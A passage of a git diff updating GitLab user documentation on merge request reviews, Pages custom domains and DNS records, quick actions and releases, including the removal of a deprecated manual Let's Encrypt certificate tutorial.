+ 1. Capture the dynamic URL and save it into a `.env` file, for example, `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`.
1. Set the `.env` file to be a [job artifact](../../../ci/pipelines/job_artifacts.md#job-artifacts).
1. In the `load_performance` job:
1. Set it to depend on the review job, so it inherits the environment file.
diff --git a/doc/user/project/merge_requests/reviews/index.md b/doc/user/project/merge_requests/reviews/index.md
index 597dcb3dfb9..c34a8116625 100644
--- a/doc/user/project/merge_requests/reviews/index.md
+++ b/doc/user/project/merge_requests/reviews/index.md
@@ -43,7 +43,7 @@ To start your review:
- **Add to review**: Keep this comment private and add to the current review.
These review comments are marked **Pending** and are visible only to you.
- **Add comment now**: Submits the specific comment as a regular comment instead of as part of the review.
-1. (Optional) You can use [quick actions](../../quick_actions.md) inside review comments.
+1. Optional. You can use [quick actions](../../quick_actions.md) inside review comments.
The comment shows the actions to perform after publication, but does not perform them
until you submit your review.
1. When your review is complete, you can [submit the review](#submit-a-review). Your comments
@@ -72,7 +72,7 @@ When you submit your review, GitLab:
### Resolve or unresolve thread with a comment
-Review comments can also resolve or unresolve [resolvable threads](../../../discussions/index.md#resolve-a-thread)).
+Review comments can also resolve or unresolve [resolvable threads](../../../discussions/index.md#resolve-a-thread).
When replying to a comment, a checkbox is displayed to resolve or unresolve
the thread after publication.
diff --git a/doc/user/project/merge_requests/reviews/suggestions.md b/doc/user/project/merge_requests/reviews/suggestions.md
index 7bfb8e52279..c25b9e15974 100644
--- a/doc/user/project/merge_requests/reviews/suggestions.md
+++ b/doc/user/project/merge_requests/reviews/suggestions.md
@@ -144,6 +144,6 @@ to your branch to address your reviewers' requests.
WARNING:
Suggestions applied from multiple authors creates a commit authored by the user applying the suggestions.
-## Related links
+## Related topics
- [Suggestions API](../../../../api/suggestions.md)
diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md
index c3fc2fa871f..3fe82fb8ef3 100644
--- a/doc/user/project/merge_requests/squash_and_merge.md
+++ b/doc/user/project/merge_requests/squash_and_merge.md
@@ -29,11 +29,9 @@ The squashed commit in this example is followed by a merge commit, because the m
**Project Settings > General > Merge requests > Merge method > Fast-forward merge**.
The squashed commit's default commit message is taken from the merge request title.
+You can [edit the default message for squash commits](commit_templates.md).
-NOTE:
-This only takes effect if there are at least 2 commits. As there is nothing to squash, the commit message does not change if there is only 1 commit.
-
-It can be customized before merging a merge request.
+It can also be customized before merging a merge request.
![A squash commit message editor](img/squash_mr_message.png)
@@ -126,6 +124,10 @@ NOTE:
If your project is set to **Do not allow** Squash and Merge, the users still have the option to
squash commits locally through the command line and force-push to their remote branch before merging.
+## Related topics
+
+- [Commit message templates](commit_templates.md).
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md
index 08b82462187..f5ebfb3668c 100644
--- a/doc/user/project/merge_requests/status_checks.md
+++ b/doc/user/project/merge_requests/status_checks.md
@@ -181,6 +181,6 @@ You should:
- Check the [GitLab status page](https://status.gitlab.com/) if the problem persists,
to see if there is a wider outage.
-## Related links
+## Related topics
- [External status checks API](../../../api/status_checks.md)
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index b36510c2df8..1f84964c619 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -29,7 +29,7 @@ between pipeline completion and the visualization loading on the page.
For the coverage analysis to work, you have to provide a properly formatted
[Cobertura XML](https://cobertura.github.io/cobertura/) report to
-[`artifacts:reports:cobertura`](../../../ci/yaml/index.md#artifactsreportscobertura).
+[`artifacts:reports:cobertura`](../../../ci/yaml/artifacts_reports.md#artifactsreportscobertura).
This format was originally developed for Java, but most coverage analysis frameworks
for other languages have plugins to add support for it, like:
@@ -52,10 +52,15 @@ from any job in any stage in the pipeline. The coverage displays for each line:
Hovering over the coverage bar provides further information, such as the number
of times the line was checked by tests.
-NOTE:
+### Limits
+
A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds
100 nodes, there can be mismatches or no matches in the merge request diff view.
+A single Cobertura XML file can be no more than 10MiB. For large projects, split the Cobertura XML into
+smaller files. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328772) for more details.
+When submitting many files, it can take a few minutes for coverage to show on a merge request.
+
### Artifact expiration
By default, the [pipeline artifact](../../../ci/pipelines/pipeline_artifacts.md#storage) used
diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md
index 3922ee4d770..796ffc7866c 100644
--- a/doc/user/project/merge_requests/versions.md
+++ b/doc/user/project/merge_requests/versions.md
@@ -2,10 +2,9 @@
stage: Create
group: Code Review
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference, concepts
---
-# Merge requests versions
+# Merge requests versions **(FREE)**
Every time you push to a branch that is tied to a merge request, a new version
of merge request diff is created. When you visit a merge request that contains
diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md
index 3f7d5b6aac1..fb61e123faf 100644
--- a/doc/user/project/milestones/index.md
+++ b/doc/user/project/milestones/index.md
@@ -119,7 +119,7 @@ Every issue and merge request can be assigned a milestone. The milestones are vi
### Filtering in list pages
-From the project and group issue/merge request list pages, you can [filter](../../search/index.md#issues-and-merge-requests) by both group and project milestones.
+From the project and group issue/merge request list pages, you can [filter](../../search/index.md#search-issues-and-merge-requests) by both group and project milestones.
### Filtering in issue boards
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
index 410fdab15e7..165131d50a4 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
@@ -36,12 +36,15 @@ for the most popular hosting services:
- [Bluehost](https://www.bluehost.com/help/article/dns-management-add-edit-or-delete-dns-entries)
- [Cloudflare](https://support.cloudflare.com/hc/en-us/articles/201720164-Creating-a-Cloudflare-account-and-adding-a-website)
- [cPanel](https://documentation.cpanel.net/display/84Docs/Edit+DNS+Zone)
+- [DigitalOcean](https://docs.digitalocean.com/products/networking/dns/how-to/manage-records/)
- [DreamHost](https://help.dreamhost.com/hc/en-us/articles/215414867-How-do-I-add-custom-DNS-records-)
+- [Gandi](https://docs.gandi.net/en/domain_names/faq/dns_records.html)
- [Go Daddy](https://www.godaddy.com/help/add-an-a-record-19238)
- [Hostgator](https://www.hostgator.com/help/article/changing-dns-records)
- [Inmotion hosting](https://www.bluehost.com/help/article/dns-management-add-edit-or-delete-dns-entries)
- [Media Temple](https://mediatemple.net/community/products/dv/204403794/how-can-i-change-the-dns-records-for-my-domain)
- [Microsoft](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb727018(v=technet.10))
+- [Namecheap](https://www.namecheap.com/support/knowledgebase/subcategory/2237/host-records-setup/)
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
index ee4320d5ea1..ec66dce41f9 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
@@ -25,7 +25,8 @@ and steps below.
(`*.gitlab.io`, for GitLab.com).
- A custom domain name `example.com` or subdomain `subdomain.example.com`.
- Access to your domain's server control panel to set up DNS records:
- - A DNS A or CNAME record pointing your domain to GitLab Pages server.
+ - A DNS record (`A`, `ALIAS`, or `CNAME`) pointing your domain to the GitLab Pages server. If
+ there are multiple DNS records on that name, you must use an `ALIAS` record.
- A DNS `TXT` record to verify your domain's ownership.
- Set either `external_http` or `external_https` in `/etc/gitlab/gitlab.rb` to the IP and port of
your [Pages Daemon](../../../../administration/pages/index.md#overview).
@@ -109,15 +110,15 @@ as it most likely doesn't work if you set an [`MX` record](dns_concepts.md#mx-re
Subdomains (`subdomain.example.com`) require:
-- A DNS [CNAME record](dns_concepts.md#cname-record) pointing your subdomain to the Pages server.
+- A DNS [`ALIAS` or `CNAME` record](dns_concepts.md#cname-record) pointing your subdomain to the Pages server.
- A DNS [TXT record](dns_concepts.md#txt-record) to verify your domain's ownership.
-| From | DNS Record | To |
-| ------------------------------------------------------- | ---------- | --------------------- |
-| `subdomain.example.com` | CNAME | `namespace.gitlab.io` |
-| `_gitlab-pages-verification-code.subdomain.example.com` | `TXT` | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
+| From | DNS Record | To |
+|:--------------------------------------------------------|:----------------|:----------------------|
+| `subdomain.example.com` | `ALIAS`/`CNAME` | `namespace.gitlab.io` |
+| `_gitlab-pages-verification-code.subdomain.example.com` | `TXT` | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
-Note that, whether it's a user or a project website, the `CNAME`
+Note that, whether it's a user or a project website, the DNS record
should point to your Pages domain (`namespace.gitlab.io`),
without any `/project-name`.
@@ -130,8 +131,8 @@ domain to the same website, for instance, `example.com` and `www.example.com`.
They require:
-- A DNS A record for the domain.
-- A DNS CNAME record for the subdomain.
+- A DNS `A` record for the domain.
+- A DNS `ALIAS`/`CNAME` record for the subdomain.
- A DNS `TXT` record for each.
| From | DNS Record | To |
@@ -147,7 +148,7 @@ If you're using Cloudflare, check
> **Notes**:
>
-> - **Do not** use a CNAME record if you want to point your
+> - **Do not** use a `CNAME` record if you want to point your
`domain.com` to your GitLab Pages site. Use an `A` record instead.
> - **Do not** add any special chars after the default Pages
domain. For example, don't point `subdomain.domain.com` to
@@ -231,7 +232,7 @@ If you use Cloudflare, you can redirect `www` to `domain.com`
without adding both `www.domain.com` and `domain.com` to GitLab.
To do so, you can use Cloudflare's page rules associated to a
-CNAME record to redirect `www.domain.com` to `domain.com`. You
+`CNAME` record to redirect `www.domain.com` to `domain.com`. You
can use the following setup:
1. In Cloudflare, create a DNS `A` record pointing `domain.com` to `35.185.44.232`.
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
index ee1004a3416..75fc407ce3f 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
@@ -67,7 +67,7 @@ associated Pages domain. GitLab also renews it automatically.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30146) in GitLab 13.0.
-If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visbility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps:
+If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visibility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps:
1. Go to your project's **Settings > Pages**.
1. Click **Edit** on your domain.
diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
index 386ed566225..b43af2f0efe 100644
--- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md
+++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
@@ -18,9 +18,9 @@ configured to generate a Pages site.
To fork a sample project and create a Pages website:
1. View the sample projects by navigating to the [GitLab Pages examples](https://gitlab.com/pages) group.
-1. Click the name of the project you want to [fork](../../../../user/project/working_with_projects.md#fork-a-project).
-1. In the top right, click the **Fork** button, and then choose a namespace to fork to.
-1. Go to your project's **CI/CD > Pipelines** and click **Run pipeline**.
+1. Select the name of the project you want to [fork](../../repository/forking_workflow.md#creating-a-fork).
+1. In the top right, select **Fork** and then choose a namespace to fork to.
+1. For your project, on the left sidebar, select **CI/CD > Pipelines** and then **Run pipeline**.
GitLab CI/CD builds and deploys your site.
The site can take approximately 30 minutes to deploy.
@@ -31,13 +31,13 @@ that immediately publishes your changes to the Pages site.
You can take some **optional** further steps:
-- _Remove the fork relationship._ If you want to contribute to the project you forked from,
+- Remove the fork relationship. If you want to contribute to the project you forked from,
you can keep this relationship. Otherwise, go to your project's **Settings > General**,
expand **Advanced settings**, and scroll down to **Remove fork relationship**:
![Remove fork relationship](../img/remove_fork_relationship_v13_1.png)
-- _Change the URL to match your namespace._ If your Pages site is hosted on GitLab.com,
+- Change the URL to match your namespace. If your Pages site is hosted on GitLab.com,
you can rename it to `<namespace>.gitlab.io`, where `<namespace>` is your GitLab namespace
(the one you chose when you forked the project).
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index eb5f3a1bbf0..e0c10e27ec3 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -27,7 +27,7 @@ To create a GitLab Pages website:
## Prerequisites
-You must have a [blank project](../../working_with_projects.md#blank-projects) in GitLab.
+You must have a [blank project](../../working_with_projects.md#create-a-blank-project) in GitLab.
## Create the project files
diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
index 978e35b3a9f..1f60aafe71b 100644
--- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
+++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
@@ -1,165 +1,9 @@
---
-stage: Release
-group: Release
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)."
+redirect_to: 'custom_domains_ssl_tls_certification/lets_encrypt_integration.md'
+remove_date: '2022-03-14'
---
-# Let's Encrypt for GitLab Pages (manual process, deprecated) **(FREE)**
+This file was moved to [another location](custom_domains_ssl_tls_certification/lets_encrypt_integration.md).
-WARNING:
-This method is still valid but was **deprecated** in favor of the
-[Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md)
-introduced in GitLab 12.1.
-
-If you have a GitLab Pages website served under your own domain,
-you might want to secure it with a SSL/TLS certificate.
-
-[Let's Encrypt](https://letsencrypt.org) is a free, automated, and
-open source Certificate Authority.
-
-## Requirements
-
-To follow along with this tutorial, we assume you already have:
-
-- [Created a project](index.md#getting-started) in GitLab
- containing your website's source code.
-- Acquired a domain (`example.com`) and added a [DNS entry](custom_domains_ssl_tls_certification/index.md#set-up-pages-with-a-custom-domain)
- pointing it to your Pages website.
-- [Added your domain to your Pages project](custom_domains_ssl_tls_certification/index.md#steps)
- and verified your ownership.
-- Cloned your project into your computer.
-- Your website up and running, served under HTTP protocol at `http://example.com`.
-
-## Obtaining a Let's Encrypt certificate
-
-Once you have the requirements addressed, follow the instructions
-below to learn how to obtain the certificate.
-
-Note that these instructions were tested on macOS Mojave. For other operating systems the steps
-might be slightly different. Follow the
-[CertBot instructions](https://certbot.eff.org/) according to your OS.
-
-1. On your computer, open a terminal and navigate to your repository's
- root directory:
-
- ```shell
- cd path/to/dir
- ```
-
-1. Install CertBot (the tool Let's Encrypt uses to issue certificates):
-
- ```shell
- brew install certbot
- ```
-
-1. Request a certificate for your domain (`example.com`) and
- provide an email account (`your@email.com`) to receive notifications:
-
- ```shell
- sudo certbot certonly -a manual -d example.com --email your@email.com
- ```
-
- Alternatively, you can register without adding an email account,
- but you aren't notified about the certificate expiration's date:
-
- ```shell
- sudo certbot certonly -a manual -d example.com --register-unsafely-without-email
- ```
-
- NOTE:
- Read through CertBot's documentation on their
- [command line options](https://certbot.eff.org/docs/using.html#certbot-command-line-options).
-
-1. You're prompted with a message to agree with their terms.
- Press `A` to agree and `Y` to let they log your IP.
-
- CertBot then prompts you with the following message:
-
- ```shell
- Create a file containing just this data:
-
- Rxnv6WKo95hsuLVX3osmT6LgmzsJKSaK9htlPToohOP.HUGNKk82jlsmOOfphlt8Jy69iuglsn095nxOMH9j3Yb
-
- And make it available on your web server at this URL:
-
- http://example.com/.well-known/acme-challenge/Rxnv6WKo95hsuLVX3osmT6LgmzsJKSaK9htlPToohOP
-
- Press Enter to Continue
- ```
-
-1. **Do not press Enter yet.** Let's Encrypt needs to verify your
- domain ownership before issuing the certificate. To do so, create 3
- consecutive directories under your website's root:
- `/.well-known/acme-challenge/Rxnv6WKo95hsuLVX3osmT6LgmzsJKSaK9htlPToohOP/`
- and add to the last folder an `index.html` file containing the content
- referred on the previous prompt message:
-
- ```shell
- Rxnv6WKo95hsuLVX3osmT6LgmzsJKSaK9htlPToohOP.HUGNKk82jlsmOOfphlt8Jy69iuglsn095nxOMH9j3Yb
- ```
-
- Note that this file needs to be accessed under
- `http://example.com/.well-known/acme-challenge/Rxnv6WKo95hsuLVX3osmT6LgmzsJKSaK9htlPToohOP`
- to allow Let's Encrypt to verify the ownership of your domain,
- therefore, it needs to be part of the website content under the
- repository's [`public`](index.md#how-it-works) folder.
-
-1. Add, commit, and push the file into your repository in GitLab. Once the pipeline
- passes, press **Enter** on your terminal to continue issuing your
- certificate. CertBot then prompts you with the following message:
-
- ```shell
- Waiting for verification...
- Cleaning up challenges
-
- IMPORTANT NOTES:
- - Congratulations! Your certificate and chain have been saved at:
- /etc/letsencrypt/live/example.com/fullchain.pem
- Your key file has been saved at:
- /etc/letsencrypt/live/example.com/privkey.pem
- Your cert will expire on 2019-03-12. To obtain a new or tweaked
- version of this certificate in the future, simply run certbot
- again. To non-interactively renew *all* of your certificates, run
- "certbot renew"
- - If you like Certbot, please consider supporting our work by:
-
- Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
- Donating to EFF: https://eff.org/donate-le
- ```
-
-## Add your certificate to GitLab Pages
-
-Now that your certificate has been issued, let's add it to your Pages site:
-
-1. Back at GitLab, navigate to your project's **Settings > Pages**,
- find your domain and click **Details** and **Edit** to add your certificate.
-1. From your terminal, copy and paste the certificate into the first field
- **Certificate (PEM)**:
-
- ```shell
- sudo cat /etc/letsencrypt/live/example.com/fullchain.pem | pbcopy
- ```
-
-1. Copy and paste the private key into the second field **Key (PEM)**:
-
- ```shell
- sudo cat /etc/letsencrypt/live/example.com/privkey.pem | pbcopy
- ```
-
-1. Click **Save changes** to apply them to your website.
-1. Wait a few minutes for the configuration changes to take effect.
-1. Visit your website at `https://example.com`.
-
-To force `https` connections on your site, navigate to your
-project's **Settings > Pages** and check **Force HTTPS (requires
-valid certificates)**.
-
-## Renewal
-
-Let's Encrypt certificates expire every 90 days and you must
-renew them periodically. To renew all your certificates at once, run:
-
-```shell
-sudo certbot renew
-```
+<!-- This redirect file can be deleted after <2022-03-14>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md
index 3deea92f56e..beafbc86cb5 100644
--- a/doc/user/project/pages/redirects.md
+++ b/doc/user/project/pages/redirects.md
@@ -92,7 +92,7 @@ you can explicitly set your own. The following HTTP codes are supported:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/458) in GitLab 14.3.
> - Enabled on GitLab.com.
-> - Enabled by default in self-managed GitLab behind the [`FF_ENABLE_REDIRECTS` feature flag](#feature-flag-for-redirects).
+> - Enabled on self-managed in [GitLab 14.6](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/618).
To create a redirect, add a rule that includes a `from` path, a `to` path,
and an [HTTP status code](#http-status-codes):
@@ -261,36 +261,7 @@ However, there are some minor differences:
literal `:placeholder`).
- GitLab redirects to `/new/`.
-## Features behind feature flags
-
-Some Pages features are behind feature flags.
-
-### Feature flag for redirects
-
-FLAG:
-Redirects in GitLab Pages is under development, and is deployed behind a feature flag
-that is **enabled by default**.
-
-To disable redirects, for [Omnibus installations](../../../administration/pages/index.md), define the
-`FF_ENABLE_REDIRECTS` environment variable in the
-[global settings](../../../administration/pages/index.md#global-settings).
-Add the following line to `/etc/gitlab/gitlab.rb` and
-[reconfigure the instance](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure).
-
-```ruby
-gitlab_pages['env']['FF_ENABLE_REDIRECTS'] = 'false'
-```
-
-For [source installations](../../../administration/pages/source.md), define the
-`FF_ENABLE_REDIRECTS` environment variable, then
-[restart GitLab](../../../administration/restart_gitlab.md#installations-from-source):
-
-```shell
-export FF_ENABLE_REDIRECTS="false"
-/path/to/pages/bin/gitlab-pages -config gitlab-pages.conf
-```
-
-### Feature flag for rewrites
+## Feature flag for rewrites
FLAG:
Rewrites in GitLab Pages is under development, and is deployed behind a feature flag
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index a4d7b94506b..75a5a2a6a4f 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -35,7 +35,7 @@ If you manually enter a parameter, it must be enclosed in double quotation marks
- ASCII letters
- Numbers (0-9)
-- Underscore (`_`), hyphen (`-`), question mark (`?`), dot (`.`), or ampersand (`&`)
+- Underscore (`_`), hyphen (`-`), question mark (`?`), dot (`.`), ampersand (`&`) or at (`@`)
Parameters are case-sensitive. Autocomplete handles this, and the insertion
of quotation marks, automatically.
@@ -45,14 +45,15 @@ of quotation marks, automatically.
The following quick actions are applicable to descriptions, discussions, and
threads. Some quick actions might not be available to all subscription tiers.
+<!-- Keep this table sorted alphabetically -->
+
| Command | Issue | Merge request | Epic | Action |
|:--------------------------------------|:-----------------------|:-----------------------|:-----------------------|:-------|
+| `/add_contacts email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add one or more [CRM contacts](../crm/index.md) ([introduced in GitLab 14.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413)). |
| `/approve` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Approve the merge request. |
-| `/assign @user` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Assign one user. |
-| `/assign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Assign multiple users. |
+| `/assign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Assign one or more users. |
| `/assign me` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Assign yourself. |
-| `/assign_reviewer @user` or `/reviewer @user` or `/request_review @user` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Assign one user as a reviewer. |
-| `/assign_reviewer @user1 @user2` or `/reviewer @user1 @user2` or `/request_review @user1 @user2` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Assign multiple users as reviewers. |
+| `/assign_reviewer @user1 @user2` or `/reviewer @user1 @user2` or `/request_review @user1 @user2` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Assign one or more users as reviewers. |
| `/assign_reviewer me` or `/reviewer me` or `/request_review me` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Assign yourself as a reviewer. |
| `/award :emoji:` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Toggle emoji award. |
| `/child_epic <epic>` | **{dotted-circle}** No | **{dotted-circle}** No | **{check-circle}** Yes | Add child epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.0](https://gitlab.com/gitlab-org/gitlab/-/issues/7330)). |
@@ -81,11 +82,12 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/promote_to_incident` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Promote issue to incident ([introduced in GitLab 14.5](https://gitlab.com/gitlab-org/gitlab/-/issues/296787)). |
| `/publish` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Publish issue to an associated [Status Page](../../operations/incident_management/status_page.md) ([Introduced in GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906)) |
| `/reassign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Replace current assignees with those specified. |
-| `/rebase` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Rebase source branch. This schedules a background task that attempts to rebase the changes in the source branch on the latest commit of the target branch. If `/rebase` is used, `/merge` is ignored to avoid a race condition where the source branch is merged or deleted before it is rebased. If there are merge conflicts, GitLab displays a message that a rebase cannot be scheduled. Rebase failures are displayed with the merge request status. |
| `/reassign_reviewer @user1 @user2` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Replace current reviewers with those specified. |
+| `/rebase` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Rebase source branch. This schedules a background task that attempts to rebase the changes in the source branch on the latest commit of the target branch. If `/rebase` is used, `/merge` is ignored to avoid a race condition where the source branch is merged or deleted before it is rebased. If there are merge conflicts, GitLab displays a message that a rebase cannot be scheduled. Rebase failures are displayed with the merge request status. |
| `/relabel ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Replace current labels with those specified. |
| `/relate #issue1 #issue2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Mark issues as related. |
| `/remove_child_epic <epic>` | **{dotted-circle}** No | **{dotted-circle}** No | **{check-circle}** Yes | Remove child epic from `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.0](https://gitlab.com/gitlab-org/gitlab/-/issues/7330)). |
+| `/remove_contacts email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Remove one or more [CRM contacts](../crm/index.md) ([introduced in GitLab 14.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73413)). |
| `/remove_due_date` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Remove due date. |
| `/remove_epic` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Remove from epic. |
| `/remove_estimate` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Remove time estimate. |
diff --git a/doc/user/project/releases/img/feature_count_v14_6.png b/doc/user/project/releases/img/feature_count_v14_6.png
new file mode 100644
index 00000000000..0b1a0552631
--- /dev/null
+++ b/doc/user/project/releases/img/feature_count_v14_6.png
Binary files differ
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index abedae5d10b..239e6c9cea8 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -1,5 +1,4 @@
---
-type: reference, howto
stage: Release
group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
@@ -9,26 +8,33 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7.
-To introduce a checkpoint in your source code history, you can assign a
-[Git tag](https://git-scm.com/book/en/v2/Git-Basics-Tagging) at the moment of release.
-However, in most cases, your users need more than just the raw source code.
-They need compiled objects or other assets output by your CI/CD system.
+In GitLab, a release enables you to create a snapshot of your project for your users, including
+installation packages and release notes. You can create a GitLab release on any branch. Creating a
+release also creates a [Git tag](https://git-scm.com/book/en/v2/Git-Basics-Tagging) to mark the
+release point in the source code.
-A GitLab Release can be:
+WARNING:
+Deleting a Git tag associated with a release also deletes the release.
+
+A release can include:
- A snapshot of the source code of your repository.
- [Generic packages](../../packages/generic_packages/index.md) created from job artifacts.
- Other metadata associated with a released version of your code.
+- Release notes.
-You can create a GitLab release on any branch. When you create a release:
+When you [create a release](#create-a-release):
- GitLab automatically archives source code and associates it with the release.
- GitLab automatically creates a JSON file that lists everything in the release,
so you can compare and audit releases. This file is called [release evidence](#release-evidence).
-- You can add release notes and a message for the tag associated with the release.
-After you create a release, you can [associate milestones with it](#associate-milestones-with-a-release),
-and attach [release assets](#release-assets), like runbooks or packages.
+When you create a release, or after, you can:
+
+- Add release notes.
+- Add a message for the Git tag associated with the release.
+- [Associate milestones with it](#associate-milestones-with-a-release).
+- Attach [release assets](#release-assets), like runbooks or packages.
## View releases
@@ -46,49 +52,84 @@ To view a list of releases:
- On private projects, this number is visible to users with Reporter
[permissions](../../permissions.md#project-members-permissions) or higher.
-### Sort Releases
+### Sort releases
-On the top right of the **Releases** page, you can use the sorting button to order releases by
-**Released date** or **Created date**. You can sort releases in ascending or descending order.
+To sort releases by **Released date** or **Created date**, select from the sort order dropdown. To
+switch between ascending or descending order, select **Sort order**.
-![Sort Releases dropdown button](img/releases_sort_v13_6.png)
+![Sort releases dropdown button](img/releases_sort_v13_6.png)
## Create a release
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32812) in GitLab 12.9. Releases can be created directly in the GitLab UI.
-You can create a release in the user interface, or by using the
-[Releases API](../../../api/releases/index.md#create-a-release).
-We recommend using the API to create releases as one of the last steps in your
-CI/CD pipeline.
+You can create a release:
-Only users with at least the Developer role can create releases.
-Read more about [Release permissions](#release-permissions).
+- [Using a job in your CI/CD pipeline](#create-a-release-by-using-a-cicd-job).
+- [In the Releases page](#create-a-release-in-the-releases-page).
+- [In the Tags page](#create-a-release-in-the-tags-page).
+- Using the [Releases API](../../../api/releases/index.md#create-a-release).
+
+We recommend creating a release as one of the last steps in your CI/CD pipeline.
+
+Prerequisites:
+
